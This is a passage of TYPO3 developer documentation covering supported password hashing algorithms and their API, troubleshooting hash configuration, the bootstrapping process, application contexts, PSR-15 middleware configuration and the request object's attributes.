The list of available hash mechanisms is pretty rich and may be extended further if better hash algorithms over time. Most algorithms have additional configuration options that may be used to increase or lower the needed computation power to calculated hashes. Administrators usually do not need to fiddle with these and should go with defaults configured by the Core. If changing these options, administrators should know exactly what they are doing.

Argon2i / Argon2id

Argon2 is a modern key derivation function that was selected as the winner of the Password Hashing Competition in July 2015. There are two available versions:

  • Argon2i: should be available on all PHP builds since PHP version 7.2.
  • Argon2id: should be available on all PHP builds since PHP version 7.3.

Options:

  • memory_cost: Maximum memory (in kibibytes) that may be used to compute the Argon2 hash. Defaults to 16384.
  • time_cost: Maximum amount of time it may take to compute the Argon2 hash. Defaults to 16.
  • threads: Number of threads to use for computing the Argon2 hash. Defaults to 2.

bcrypt

bcrypt is a password hashing algorithm based on blowfish and has been presented in 1999. It needs some additional quirks for long passwords in PHP and should only be used if Argon2i is not available. Options:

  • cost: Denotes the algorithmic cost that should be used. Defaults to 12.

PBKDF2

PBKDF2 is a key derivation function recommended by IETF in RFC 8018 as part of the PKCS series, even though newer password hashing functions such as Argon2i are designed to address weaknesses of PBKDF2. It could be a preferred password hash algorithm if storing passwords in a FIPS compliant way is necessary. Options:

  • hash_count: Number of hash iterations. Defaults to 25000.

phpass

phpass phpass is a portable public domain password hashing framework for use in PHP applications since 2005. The implementation should work on almost all PHP builds. Options:

  • hash_count: The default log2 number of iterations for password stretching. Defaults to 14.

blowfish

TYPO3's salted password hash implementation based on blowfish and PHP`s crypt() function. It has been integrated very early to TYPO3 but should no longer be used. It is only included for instances that still need to upgrade outdated password hashes to better algorithms. Options:

  • hash_count: The default log2 number of iterations for password stretching. Defaults to 7.

md5salt

TYPO3's salted password hash implementation based on md5 and PHP`s crypt() function. It should not be used any longer and is only included for instances that still need to upgrade outdated password hashes to better algorithms.

PHP API

Creating a hash

To create a new password hash from a given plain-text password, these are the steps to be done:

  • Let the factory deliver an instance of the default hashing class with given context FE or BE
  • Create the user password hash

Example implementation for TYPO3 frontend:

EXT:some_extension/Classes/Controller/SomeController.php
// Given plain text password
$password = 'someHopefullyGoodAndLongPassword';
$hashInstance = GeneralUtility::makeInstance(PasswordHashFactory::class)->getDefaultHashInstance('FE');
$hashedPassword = $hashInstance->getHashedPassword($password);
Copied!

Checking a password

To check a plain-text password against a password hash, these are the steps to be done:

  • Let the factory deliver an instance of the according hashing class
  • Compare plain-text password with salted user password hash

Example implementation for TYPO3 frontend:

EXT:some_extension/Classes/Controller/SomeController.php
// Given plain-text password
$password = 'someHopefullyGoodAndLongPassword';
// The stored password hash from database
$passwordHash = 'YYY';
// The context, either 'FE' or 'BE'
$mode = 'FE';
$success = GeneralUtility::makeInstance(PasswordHashFactory::class)
    ->get($passwordHash, $mode) # or getDefaultHashInstance($mode)
    ->checkPassword($password, $passwordHash);
Copied!

Adding a new hash mechanism

To add an additional hash algorithm, these steps are necessary:

More information

Troubleshooting

#1533818591 InvalidPasswordHashException

If the hashing mechanism used in passwords is not supported by your PHP build Errors like the following might pop up:

#1533818591 TYPO3\CMS\Core\Crypto\PasswordHashing\InvalidPasswordHashException
No implementation found that handles given hash. This happens if the
stored hash uses a mechanism not supported by current server.
Copied!

Explanation

If an instance has just been upgraded and if argon2i hash mechanism is not available locally, the default backend will still try to upgrade a given user password to argon2i if the install tool has not been executed once.

This typically happens if a system has just been upgraded and a backend login has been performed before the install tool has executed the silent configuration upgrade.

Solutions

Disable argon2i support in the install tool

Call the standalone install tool at example.org/typo3/install.php and log in once. This should detect that argon2i is not available and will configure a different default hash mechanism. A backend login should be possible afterwards.

If that won't do, you can change the hash mechanism in Admin Tools > Settings > Configuration Presets > Password hashing presets. This might be necessary if, for example, you moved your system to a different server where argon2i isn't available. Create a new user that uses the working algorithm.

Manually disable argon2i in the LocalConfiguration.php

This may be necessary if access to the install tool is not possible. This can happen when the first installation was done on a system with argon2i and the installation was then copied to a target system that doesn't support this encryption type.

Add or edit the following in your typo3conf/LocalConfiguration.php.

<?php
return [
   'BE' => [
      // ...
      // This pseudo password enables you to load the standalone install
      // tool to be able to generate a new hash value. Change the password
      // at once!
      'installToolPassword' => '$2y$12$AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA',
      'passwordHashing' => [
         'className' => 'TYPO3\\CMS\\Core\\Crypto\\PasswordHashing\\BcryptPasswordHash',
         'options' => [],
      ],
   ],
   'FE' => [
      // ...
      'passwordHashing' => [
         'className' => 'TYPO3\\CMS\\Core\\Crypto\\PasswordHashing\\BcryptPasswordHash',
         'options' => [],
      ],
   ],
   // ...
];
Copied!

If this doesn't work then check file typo3conf/AdditionalConfiguration.php which overrides typo3conf/LocalConfiguration.php.

Bootstrapping

TYPO3 has a clean bootstrapping process driven mostly by class \TYPO3\CMS\Core\Core\Bootstrap . This class is initialized by calling Bootstrap::init() and serves as an entry point for later calling an application class, depending on several context-dependant constraints.

Each application class registers request handlers to run a certain request type (e.g. eID or TSFE-logic, or Ajax requests in the Backend). Each application is handed over the class loader provided by Composer.

Applications

There are four types of applications provided by the TYPO3 Core:

\TYPO3\CMS\Frontend\Http\Application

This class handles all incoming web requests coming through index.php in the public web directory. It handles all regular page (TSFE) and eID requests.

It checks if all configuration is set, otherwise redirects to the TYPO3 Install Tool.

\TYPO3\CMS\Backend\Http\Application

This class handles all incoming web requests for any regular backend call inside typo3/\*.

Its \TYPO3\CMS\Backend\Http\RequestHandler is used for all backend requests, including Ajax routes. If a get/post parameter "route" is set, the backend routing is called by the RequestHandler and searches for a matching route inside the router. The corresponding controller / action is called then which returns the response.

The Application checks if all configuration is set, otherwise it redirects to the TYPO3 Install Tool.

\TYPO3\CMS\Core\Console\CommandApplication

This class is the entry point for the TYPO3 command line for console commands. In addition to registering all available commands, this also sets up a CLI user.

\TYPO3\CMS\Install\Http\Application

The install tool Application only runs with a very limited bootstrap set up. The failsafe package manager does not take the ext_localconf.php of installed extensions into account.

Example of bootstrapping the TYPO3 Backend:

// Set up the application for the backend
call_user_func(function () {
    $classLoader = require dirname(__DIR__) . '/vendor/autoload.php';
    \TYPO3\CMS\Core\Core\SystemEnvironmentBuilder::run(1, \TYPO3\CMS\Core\Core\SystemEnvironmentBuilder::REQUESTTYPE_BE);
    \TYPO3\CMS\Core\Core\Bootstrap::init($classLoader)->get(\TYPO3\CMS\Backend\Http\Application::class)->run();
});
Copied!

Initialization

Whenever a call to TYPO3 is made, the application goes through a bootstrapping process managed by a dedicated API. This process is also used in the frontend, but only the backend process is described here.

The following steps are performed during bootstrapping.

1. Initialize the class loader

This defines which autoloader to use.

2. Run SystemEnvironmentBuilder

The \TYPO3\CMS\Core\Core\SystemEnvironmentBuilder is responsible for setting up a system environment that is shared by all contexts (FE, BE, Install Tool and CLI). This class defines a large number of constants and global variables. If you want to have an overview of these base values, it is worth taking a look into the following methods:

  • SystemEnvironmentBuilder::defineTypo3RequestTypes() defines the different constants for determining if the current request is a frontend, backend, CLI, Ajax or Install Tool request.
  • SystemEnvironmentBuilder::defineBaseConstants() defines constants containing values such as the current version number, blank character codes and error codes related to services.
  • SystemEnvironmentBuilder::initializeEnvironment() initializes the Environment class that points to various parts of the TYPO3 installation like the absolute path to the typo3 directory or the absolute path to the installation root.
  • SystemEnvironmentBuilder::calculateScriptPath() calculates the script path. This is the absolute path to the entry script. This can be something like '.../public/index.php' or '.../public/typo3/index.php' for web calls, or '.../bin/typo3' or similar for CLI calls.
  • SystemEnvironmentBuilder::initializeGlobalVariables() sets some global variables as empty arrays.
  • SystemEnvironmentBuilder::initializeGlobalTimeTrackingVariables() defines special variables which contain, for example, the current time or a simulated time as may be set using the Admin Panel.

3. Initialize bootstrap

\TYPO3\CMS\Core\Core\Bootstrap boots up TYPO3 and returns a container that is later used to run an application. As a basic overview it does the following:

  • Bootstrap::initializeClassLoader() processes all the information available to be able to determine where to load classes from, including class alias maps which are used to map legacy class names to new class names.
  • Bootstrap::checkIfEssentialConfigurationExists() checks if crucial configuration elements have been set. If that is not the case, the installation is deemed incomplete and the user is redirected to the Install Tool.
  • Bootstrap::createConfigurationManager() creates the Configuration Manager which is then populated with the the main configuration ("TYPO3_CONF_VARS").
  • $builder->createDependencyInjectionContainer() creates a dependency injection container which is later returned by Bootstrap::init().
  • The caching framework and the package management are set up.
  • All configuration items from extensions are loaded
  • The database connection is established

4. Dispatch

After all that the, the newly created container receives the application object and Application::run() method is called, which basically dispatches the request to the right handler.

5. Initialization of the TYPO3 backend

The backend request handler then calls the MiddlewareDispatcher which then manages and dispatches a PSR-15 middleware stack. In the backend context this will typically go through such important steps like:

  • checking backend access: Is it locked? Does it have proper SSL setup?
  • loading the full TCA
  • verifying and initializing the backend user

Application context

Each request, no matter if it runs from the command line or through HTTP, runs in a specific application context. TYPO3 provides exactly three built-in contexts:

  • Production (default) - should be used for a live site
  • Development - used for development
  • Testing - is only used internally when executing TYPO3 Core tests. It must not be used otherwise.

The context TYPO3 runs in is specified through the environment variable TYPO3_CONTEXT. It can be set on the command line:

# run the TYPO3 CLI commands in development context
TYPO3_CONTEXT=Development ./bin/typo3
Copied!

or be part of the web server configuration:

# In your Apache configuration (either .htaccess or vhost)
# you can either set context to static value with:
SetEnv TYPO3_CONTEXT Development

# Or set context depending on current host header
# using mod_rewrite module
RewriteCond %{HTTP_HOST} ^dev\.example\.com$
RewriteRule .? - [E=TYPO3_CONTEXT:Development]

RewriteCond %{HTTP_HOST} ^staging\.example\.com$
RewriteRule .? - [E=TYPO3_CONTEXT:Production/Staging]

RewriteCond %{HTTP_HOST} ^www\.example\.com$
RewriteRule .? - [E=TYPO3_CONTEXT:Production]

# or using setenvif module
SetEnvIf Host "^dev\.example\.com$" TYPO3_CONTEXT=Development
SetEnvIf Host "^staging\.example\.com$" TYPO3_CONTEXT=Production/Staging
SetEnvIf Host "^www\.example\.com$" TYPO3_CONTEXT=Production
Copied!
# In your Nginx configuration, you can pass the context as a fastcgi parameter
location ~ \.php$ {
   include         fastcgi_params;
   fastcgi_index   index.php;
   fastcgi_param   TYPO3_CONTEXT  Development/Dev;
   fastcgi_param   SCRIPT_FILENAME  $document_root$fastcgi_script_name;
}
Copied!

Custom contexts

In certain situations, more specific contexts are desirable:

  • a staging system may run in a Production context, but requires a different set of credentials than the production server.
  • developers working on a project may need different application specific settings but prefer to maintain all configuration files in a common Git repository.

By defining custom contexts which inherit from one of the three base contexts, more specific configuration sets can be realized.

While it is not possible to add new "top-level" contexts at the same level like Production and Testing, you can create arbitrary sub-contexts, just by specifying them like <MainContext>/<SubContext>.

For a staging environment a custom context Production/Staging may provide the necessary settings while the Production/Live context is used on the live instance.

Usage example

The current Application Context is set very early in the bootstrap process and can be accessed through public API for example in the AdditionalConfiguration.php file to automatically set different configuration for different contexts.

In file typo3conf/AdditionalConfiguration.php:

switch (\TYPO3\CMS\Core\Core\Environment::getContext()) {
   case 'Development':
      $GLOBALS['TYPO3_CONF_VARS']['SYS']['displayErrors'] = 1;
      $GLOBALS['TYPO3_CONF_VARS']['SYS']['devIPmask'] = '*';
      break;
   case 'Production/Staging':
      $GLOBALS['TYPO3_CONF_VARS']['SYS']['displayErrors'] = 0;
      $GLOBALS['TYPO3_CONF_VARS']['SYS']['devIPmask'] = '192.168.1.*';
      break;
   default:
      $GLOBALS['TYPO3_CONF_VARS']['SYS']['displayErrors'] = 0;
      $GLOBALS['TYPO3_CONF_VARS']['SYS']['devIPmask'] = '127.0.0.1';
}
Copied!

Middlewares (Request handling)

TYPO3 has implemented PSR-15 for handling incoming HTTP requests. The implementation within TYPO3 is often called "Middlewares", as PSR-15 consists of two interfaces where one is called Middleware.

Basic concept

The most important information is available at https://www.php-fig.org/psr/psr-15/ and https://www.php-fig.org/psr/psr-15/meta/ where the standard itself is explained.

The idea is to use PSR-7 Request and Response as a base, and wrap the execution with middlewares which implement PSR-15. PSR-15 will receive the incoming request and return the created response. Within PSR-15 multiple request handlers and middlewares can be executed. Each of them can adjust the request and response.

TYPO3 implementation

TYPO3 has implemented the PSR-15 approach in the following way:

Figure 1-1: Application flow

  1. TYPO3 will create a TYPO3 request object.
  2. TYPO3 will collect and sort all configured PSR-15 middlewares.
  3. TYPO3 will convert all middlewares to PSR-15 request handlers.
  4. TYPO3 will call the first middleware with request and the next middleware.
  5. Each middleware is processed, see Middlewares.
  6. In the end each middleware has to return a PSR-7 response.
  7. This response is passed back to the execution flow.

Middlewares

Each middleware has to implement the PSR-15 MiddlewareInterface:

vendor/psr/http-server-middleware/src/MiddlewareInterface.php
namespace Psr\Http\Server;

use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\ServerRequestInterface;

/**
 * Participant in processing a server request and response
 *
 * An HTTP middleware component participates in processing an HTTP message:
 * by acting on the request, generating the response, or forwarding the
 * request to a subsequent middleware and possibly acting on its response.
 */
interface MiddlewareInterface
{
    /**
     * Process an incoming server request
     *
     * Processes an incoming server request in order to produce a response.
     * If unable to produce the response itself, it may delegate to the provided
     * request handler to do so.
     */
    public function process(
        ServerRequestInterface $request,
        RequestHandlerInterface $handler
    ): ResponseInterface;
}
Copied!

By doing so, the middleware can do one or multiple of the following:

  • Adjust the incoming request, e.g. add further information.
  • Create and return a PSR-7 response.
  • Call next request handler (which again can be a middleware).
  • Adjust response received from the next request handler.

Using Extbase

One note about using Extbase in middlewares: do not! Extbase relies on frontend TypoScript being present; otherwise the configuration is not applied. This is usually no problem - Extbase plugins are typically either included as USER content object (its content is cached and returned together with other content elements in fully-cached page context), or the Extbase plugin is registered as USER_INT. In this case, the TSFE takes care of calculating TypoScript before the plugin is rendered, while other USER content objects are fetched from page cache.

With TYPO3 v11, the "calling Extbase in a context where TypoScript has not been calculated" scenario did not fail, but simply returned an empty array for TypoScript, crippling the configuration of the plugin in question. This mitigation hack will be removed in TYPO3 v13, though. Extension developers that already use Extbase in a middleware have the following options:

  • Consider not using Extbase for the use case: Extbase is quite expensive. Executing it from within middlewares can increase the parse time in fully-cached page context significantly and should be avoided especially for "simple" things. In many cases, directly manipulating the response object and skipping the Extbase overhead in a middleware should be enough.
  • Move away from the middleware and register the Extbase instance as a casual USER_INT object via TypoScript: Extbase is designed to be executed like this, the TSFE bootstrap will take care of properly calculating TypoScript, and Extbase will run as expected.

Returning a custom response

This middleware will check whether TYPO3 is in maintenance mode and will return an unavailable response in that case. Otherwise the next middleware will be called, and its response is returned instead.

EXT:some_extension/Classes/Middleware/SomeMiddleware.php
public function process(
    ServerRequestInterface $request,
    RequestHandlerInterface $handler
): ResponseInterface {
    if (/* if logic */) {
        return GeneralUtility::makeInstance(ErrorController::class)
            ->unavailableAction(
                $request,
                'This page is temporarily unavailable.'
            );
    }

    return $handler->handle($request);
}
Copied!

Enriching the request

The current request can be extended with further information, e.g. the current resolved site and language could be attached to the request.

In order to do so, a new request is built with additional attributes, before calling the next request handler with the enhanced request.

EXT:some_extension/Classes/Middleware/SomeMiddleware.php
public function process(
    ServerRequestInterface $request,
    RequestHandlerInterface $handler
): ResponseInterface {
    $routeResult = $this->matcher->matchRequest($request);

    $request = $request->withAttribute('site', $routeResult->getSite());
    $request = $request->withAttribute('language', $routeResult->getLanguage());

    return $handler->handle($request);
}
Copied!

Enriching the response

This middleware will check the length of generated output, and add a header with this information to the response.

In order to do so, the next request handler is called. It will return the generated response, which can be enriched before it gets returned.

EXT:some_extension/Classes/Middleware/SomeMiddleware.php
public function process(
    ServerRequestInterface $request,
    RequestHandlerInterface $handler
): ResponseInterface {
    $response = $handler->handle($request);

    if (/* if logic */) {
        $response = $response->withHeader(
            'Content-Length',
            (string)$response->getBody()->getSize()
        );
    }

    return $response;
}
Copied!

Configuring middlewares

In order to implement a custom middleware, this middleware has to be configured. TYPO3 already provides some middlewares out of the box. Beside adding your own middlewares, it's also possible to remove existing middlewares from the configuration.

The configuration is provided within Configuration/RequestMiddlewares.php of an extension:

EXT:some_extension/Configuration/RequestMiddlewares.php
return [
    'frontend' => [
        'middleware-identifier' => [
            'target' => \Vendor\SomeExtension\Middleware\ConcreteClass::class,
            'before' => [
                'another-middleware-identifier',
            ],
            'after' => [
                'yet-another-middleware-identifier',
            ],
        ],
    ],
    'backend' => [
        'middleware-identifier' => [
            'target' => \Vendor\SomeExtension\Middleware\AnotherConcreteClass::class,
            'before' => [
                'another-middleware-identifier',
            ],
            'after' => [
                'yet-another-middleware-identifier',
            ],
        ],
    ],
];
Copied!

TYPO3 has multiple stacks where one middleware might only be necessary in one of them. Therefore the configuration defines the context on its first level to define the context. Within each context the middleware is registered as new subsection with an unique identifier as key.

The default stacks are: frontend and backend.

Each middleware consists of the following options:

target

PHP string

FQCN (=Fully Qualified Class Name) to use as middleware.

before

PHP Array

List of middleware identifiers. The middleware itself is executed before any other middleware within this array.

after

PHP Array

List of middleware identifiers. The middleware itself is executed after any other middleware within this array.

disabled

PHP boolean

Allows to disable specific middlewares.

Override ordering of middlewares

To change the ordering of middlewares shipped by the Core an extension can override the registration in Configuration/RequestMiddlewares.php:

EXT:some_extension/Configuration/RequestMiddlewares.php
return [
    'frontend' => [
        'middleware-identifier' => [
            'after' => [
                'another-middleware-identifier',
            ],
            'before' => [
                '3rd-middleware-identifier',
            ]
        ],
    ]
];
Copied!

However, this could lead to circular ordering depending on the ordering constraints of other middlewares. Alternatively an existing middleware can be disabled and reregistered again with a new identifier. This will circumvent the risk of circularity:

EXT:some_extension/Configuration/RequestMiddlewares.php
return [
    'frontend' => [
        'middleware-identifier' => [
            'disabled' => true
        ],
        'overwrite-middleware-identifier' => [
            'target' => \MyVendor\SomeExtension\Middleware\MyMiddleware::class,
            'after' => [
                'another-middleware-identifier',
            ],
            'before' => [
                '3rd-middleware-identifier',
            ]
        ]
    ]
];
Copied!

Creating new request / response objects

PSR-17 HTTP Factory interfaces are provided by psr/http-factory and should be used as dependencies for PSR-15 request handlers or services that need to create PSR-7 message objects.

It is discouraged to explicitly create PSR-7 instances of classes from the \TYPO3\CMS\Core\Http namespace (they are not public APIs). Instead, use type declarations against PSR-17 HTTP Message Factory interfaces and dependency injection.

Example

A middleware that needs to send a JSON response when a certain condition is met, uses the PSR-17 response factory interface (the concrete TYPO3 implementation is injected as a constructor dependency) to create a new PSR-7 response object:

EXT:some_extension/Classes/Middleware/StatusCheckMiddleware.php
use Psr\Http\Message\ResponseFactoryInterface;
use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\ServerRequestInterface;
use Psr\Http\Server\MiddlewareInterface;
use Psr\Http\Server\RequestHandlerInterface;

class StatusCheckMiddleware implements MiddlewareInterface
{
    /** @var ResponseFactoryInterface */
    private $responseFactory;

    public function __construct(ResponseFactoryInterface $responseFactory)
    {
        $this->responseFactory = $responseFactory;
    }

    public function process(ServerRequestInterface $request, RequestHandlerInterface $handler): ResponseInterface
    {
        if ($request->getRequestTarget() === '/check') {
            $data = ['status' => 'ok'];
            $response = $this->responseFactory->createResponse()
                ->withHeader('Content-Type', 'application/json; charset=utf-8');
            $response->getBody()->write(json_encode($data));
            return $response;
        }
        return $handler->handle($request);
    }
}
Copied!

Executing HTTP requests in middlewares

The PSR-18 HTTP Client is intended to be used by PSR-15 request handlers in order to perform HTTP requests based on PSR-7 message objects without relying on a specific HTTP client implementation.

PSR-18 consists of a client interface and three exception interfaces:

  • \Psr\Http\Client\ClientInterface
  • \Psr\Http\Client\ClientExceptionInterface
  • \Psr\Http\Client\NetworkExceptionInterface
  • \Psr\Http\Client\RequestExceptionInterface

Request handlers use dependency injection to retrieve the concrete implementation of the PSR-18 HTTP client interface \Psr\Http\Client\ClientInterface .

The PSR-18 HTTP Client interface is provided by psr/http-client and may be used as dependency for services in order to perform HTTP requests using PSR-7 request objects. PSR-7 request objects can be created with the PSR-17 Request Factory interface.

Example usage

A middleware might need to request an external service in order to transform the response into a new response. The PSR-18 HTTP client interface is used to perform the external HTTP request. The PSR-17 Request Factory Interface is used to create the HTTP request that the PSR-18 HTTP Client expects. The PSR-7 Response Factory is then used to create a new response to be returned to the user. All of these interface implementations are injected as constructor dependencies:

EXT:some_extension/Classes/Middleware/ExampleMiddleware.php
use Psr\Http\Client\ClientInterface;
use Psr\Http\Message\RequestFactoryInterface;
use Psr\Http\Message\ResponseFactoryInterface;
use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\ServerRequestInterface;
use Psr\Http\Server\MiddlewareInterface;
use Psr\Http\Server\RequestHandlerInterface;

class ExampleMiddleware implements MiddlewareInterface
{
    /** @var ResponseFactory */
    private $responseFactory;

    /** @var RequestFactory */
    private $requestFactory;

    /** @var ClientInterface */
    private $client;

    public function __construct(
        ResponseFactoryInterface $responseFactory,
        RequestFactoryInterface $requestFactory,
        ClientInterface $client
    ) {
        $this->responseFactory = $responseFactory;
        $this->requestFactory = $requestFactory;
        $this->client = $client;
    }

    public function process(ServerRequestInterface $request, RequestHandlerInterface $handler): ResponseInterface
    {
        if ($request->getRequestTarget() === '/example') {
            $req = $this->requestFactory->createRequest('GET', 'https://api.external.app/endpoint.json')
            // Perform HTTP request
            $res = $this->client->sendRequest($req);
            // Process data
            $data = [
                'content' => json_decode((string)$res->getBody())
            ];
            $response = $this->responseFactory->createResponse()
                ->withHeader('Content-Type', 'application/json; charset=utf-8');
            $response->getBody()->write(json_encode($data));
            return $response;
        }
        return $handler->handle($request);
    }
}
Copied!

Debugging

In order to see which middlewares are configured and to see the order of execution, TYPO3 offers a the menu entry HTTP Middlewares (PSR-15) within the "Configuration" module:

TYPO3 configuration module listing configured middlewares.

TYPO3 request object

The TYPO3 request object is an implementation of the PSR-7 based \Psr\Http\Message\ServerRequestInterface containing TYPO3-specific attributes.

Getting the PSR-7 request object

The PSR-7 based request object is available in most contexts. In some scenarios, like PSR-15 middlewares or backend module controllers, the PSR-7 base request object is given as argument to the called method.

Extbase controller

New in version 11.3

The request object compatible with the PSR-7 \Psr\Http\Message\ServerRequestInterface is available in an Extbase controller via the class property $this->request:

EXT:my_extension/Classes/Controller/MyController.php
use Psr\Http\Message\ResponseInterface;
use TYPO3\CMS\Extbase\Mvc\Controller\ActionController;

final class MyController extends ActionController
{
    // ...

    public function myAction(): ResponseInterface
    {
        // ...

        // Retrieve the language attribute via the request object
        $language = $this->request->getAttribute('language');

        // ...
    }
}
Copied!

ViewHelper

In a ViewHelper you can get the rendering request from the rendering context. For this you have to rely on the fact that a \TYPO3\CMS\Fluid\Core\Rendering\RenderingContext is passed to the ViewHelpers renderStatic method, even though it is declared as RenderingContextInterface, which does not have the method:

EXT:my_extension/Classes/ViewHelpers/MyViewHelper.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\ViewHelpers;

use TYPO3\CMS\Fluid\Core\Rendering\RenderingContext;
use TYPO3Fluid\Fluid\Core\Rendering\RenderingContextInterface;
use TYPO3Fluid\Fluid\Core\ViewHelper\AbstractViewHelper;

final class MyViewHelper extends AbstractViewHelper
{
    public static function renderStatic(array $arguments, \Closure $renderChildrenClosure, RenderingContextInterface $renderingContext): string
    {
        /** @var RenderingContext $renderingContext */
        $request = $renderingContext->getRequest();
    }
}
Copied!

Note, that RenderingContext::getRequest() is internal and subject to change in future versions of TYPO3.

User function

In a TypoScript user function the request object is available as third parameter of the called class method:

EXT:my_extension/Classes/UserFunction/MyUserFunction.php
use Psr\Http\Message\ServerRequestInterface;

final class MyUserFunction
{
    public function doSomething(
        string $content,
        array $conf,
        ServerRequestInterface $request
    ): string {
        // ...

        // Retrieve the language attribute via the request object
        $language = $request->getAttribute('language');

        // ...
    }
}
Copied!

Data processor

A data processor receives a reference to the \TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer as first argument for the process() method. This object provides a getRequest() method:

EXT:my_extension/Classes/DataProcessing/MyProcessor.php
use TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer;
use TYPO3\CMS\Frontend\ContentObject\DataProcessorInterface;

final class MyProcessor implements DataProcessorInterface
{
    public function process(
        ContentObjectRenderer $cObj,
        array $contentObjectConfiguration,
        array $processorConfiguration,
        array $processedData
    ): array {
        $request = $cObj->getRequest();

        // ...
    }
}
Copied!

Last resort: global variable

TYPO3 provides the request object also in the global variable $GLOBALS['TYPO3_REQUEST']. Whenever it is possible the request should be retrieved within the contexts described above. But this is not always possible by now.

When using the global variable, it should be wrapped into a getter method:

// use Psr\Http\Message\ServerRequestInterface;

private function getRequest(): ServerRequestInterface
{
    return $GLOBALS['TYPO3_REQUEST'];
}
Copied!

This way, it is only referenced once. It can be cleaned up later easily when the request object is made available in that context in a future TYPO3 version.

Attributes

Attributes enriches the request with further information. TYPO3 provides attributes which can be used in custom implementations.

The attributes can be retrieved via

// Get all available attributes
$allAttributes = $request->getAttributes();

// Get only a specific attribute, here the site entity in frontend context
$site = $request->getAttribute('site');
Copied!

The request object is also available as a global variable in $GLOBALS['TYPO3_REQUEST']. This is a workaround for the Core which has to access the server parameters at places where $request is not available. So, while this object is globally available during any HTTP request, it is considered bad practice to use this global object, if the request is accessible in another, official way. The global object is scheduled to vanish at a later point once the code has been refactored enough to not rely on it anymore.

The following attributes are available in frontend context:

The following attributes are available in backend context:

Application type

The applicationType request attribute helps to answer the question: "Is this a frontend or backend request?". It is available in a frontend and backend context.

1
It is a frontend request.
2
It is a backend request.

Example:

$applicationType = $request->getAttribute('applicationType');
if ($applicationType === 1) {
    // We are in frontend context
} else {
    // We are in backend context
}
Copied!

Frontend controller

The frontend.controller frontend request attribute provides access to the \TYPO3\CMS\Frontend\Controller\TypoScriptFrontendController object.

Example:

$frontendController = $request->getAttribute('frontend.controller');
$rootline = $frontendController->rootLine;  // Mind the capital "L"
Copied!

Frontend user

The frontend.user frontend request attribute provides the \TYPO3\CMS\Frontend\Authentication\FrontendUserAuthentication object.

Example:

$frontendUser = $request->getAttribute('frontend.user');
$groupData = $frontendUser->fetchGroupData($request);
Copied!

Language

The language frontend request attribute provides information about the current language of the webpage via the \TYPO3\CMS\Core\Site\Entity\SiteLanguage object.

Example:

$language = $request->getAttribute('language');
$locale = $language->getLocale();
Copied!

API

class SiteLanguage
Fully qualified name
\TYPO3\CMS\Core\Site\Entity\SiteLanguage

Entity representing a site_language configuration of a site object.

toArray ( )

Returns the SiteLanguage in an array representation for e.g. the usage in TypoScript.

returntype

array

getLanguageId ( )
returntype

int

getLocale ( )
returntype

string

getBase ( )
returntype

Psr\Http\Message\UriInterface

getTitle ( )
returntype

string

getNavigationTitle ( )
returntype

string

getWebsiteTitle ( )
returntype

string

getFlagIdentifier ( )
returntype

string

getTypo3Language ( )
returntype

string

getTwoLetterIsoCode ( )

Returns the ISO-639-1 language ISO code

returntype

string

getHreflang ( )

Returns the RFC 1766 / 3066 language tag

returntype

string

getDirection ( )

Returns the language direction

returntype

string

enabled ( )

Returns true if the language is available in frontend usage

returntype

bool

isEnabled ( )

Helper so fluid can work with this as well.

returntype

bool

getFallbackType ( )
returntype

string

getFallbackLanguageIds ( )
returntype

array

Normalized parameters

The normalizedParams request attribute provide access to server parameters, for instance, if the TYPO3 installation is behind a reverse proxy. It is available in frontend and backend context.

One can retrieve the normalized parameters like this:

/** @var \TYPO3\CMS\Core\Http\NormalizedParams $normalizedParams */
$normalizedParams = $request->getAttribute('normalizedParams');
$requestPort = $normalizedParams->getRequestPort();
Copied!

API

class NormalizedParams
Fully qualified name
\TYPO3\CMS\Core\Http\NormalizedParams

This class provides normalized server parameters in HTTP request context.

It normalizes reverse proxy scenarios and various other web server specific differences of the native PSR-7 request object parameters (->getServerParams() / $GLOBALS['_SERVER']).

An instance of this class is available as PSR-7 ServerRequestInterface attribute: $normalizedParams = $request->getAttribute('normalizedParams')

This class substitutes the old GeneralUtility::getIndpEnv() method.

getDocumentRoot ( )
returntype

string

Returns

Absolute path to web document root, eg. /var/www/typo3

getHttpAcceptEncoding ( )

Will be deprecated later, use $request->getServerParams()['HTTP_ACCEPT_ENCODING'] instead

returntype

string

Returns

HTTP_ACCEPT_ENCODING, eg. 'gzip, deflate'

getHttpAcceptLanguage ( )

Will be deprecated later, use $request->getServerParams()['HTTP_ACCEPT_LANGUAGE'] instead

returntype

string

Returns

HTTP_ACCEPT_LANGUAGE, eg. 'de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7'

getHttpHost ( )
returntype

string

Returns

Sanitized HTTP_HOST value host[:port]

getHttpReferer ( )

Will be deprecated later, use $request->getServerParams()['HTTP_REFERER'] instead

returntype

string

Returns

HTTP_REFERER, eg. 'https://www.domain.com/typo3/index.php?id=42'

getHttpUserAgent ( )

Will be deprecated later, use $request->getServerParams()['HTTP_USER_AGENT'] instead

returntype

string

Returns

HTTP_USER_AGENT identifier

getQueryString ( )

Will be deprecated later, use $request->getServerParams()['QUERY_STRING'] instead

returntype

string

Returns

QUERY_STRING, eg 'id=42&foo=bar'

getPathInfo ( )

Will be deprecated later, use getScriptName() as reliable solution instead

returntype

string

Returns

Script path part of URI, eg. 'typo3/index.php'

getRemoteAddress ( )
returntype

string

Returns

Client IP

getRemoteHost ( )

Will be deprecated later, use $request->getServerParams()['REMOTE_HOST'] instead

returntype

string

Returns

REMOTE_HOST if configured in web server, eg. 'www.clientDomain.com'

getRequestDir ( )
returntype

string

Returns

REQUEST URI without script file name and query parts, eg. http://www.domain.com/typo3/

getRequestHost ( )
returntype

string

Returns

Sanitized HTTP_HOST with protocol scheme://host[:port], eg. https://www.domain.com/

getRequestHostOnly ( )
returntype

string

Returns

Host / domain /IP only, eg. www.domain.com

getRequestPort ( )
returntype

int

Returns

Requested port if given, eg. 8080 - often not explicitly given, then 0

getRequestScript ( )
returntype

string

Returns

REQUEST URI without query part, eg. http://www.domain.com/typo3/index.php

getRequestUri ( )
returntype

string

Returns

Request Uri without domain and protocol, eg. /index.php?id=42

getRequestUrl ( )
returntype

string

Returns

Full REQUEST_URI, eg. http://www.domain.com/typo3/foo/bar?id=42
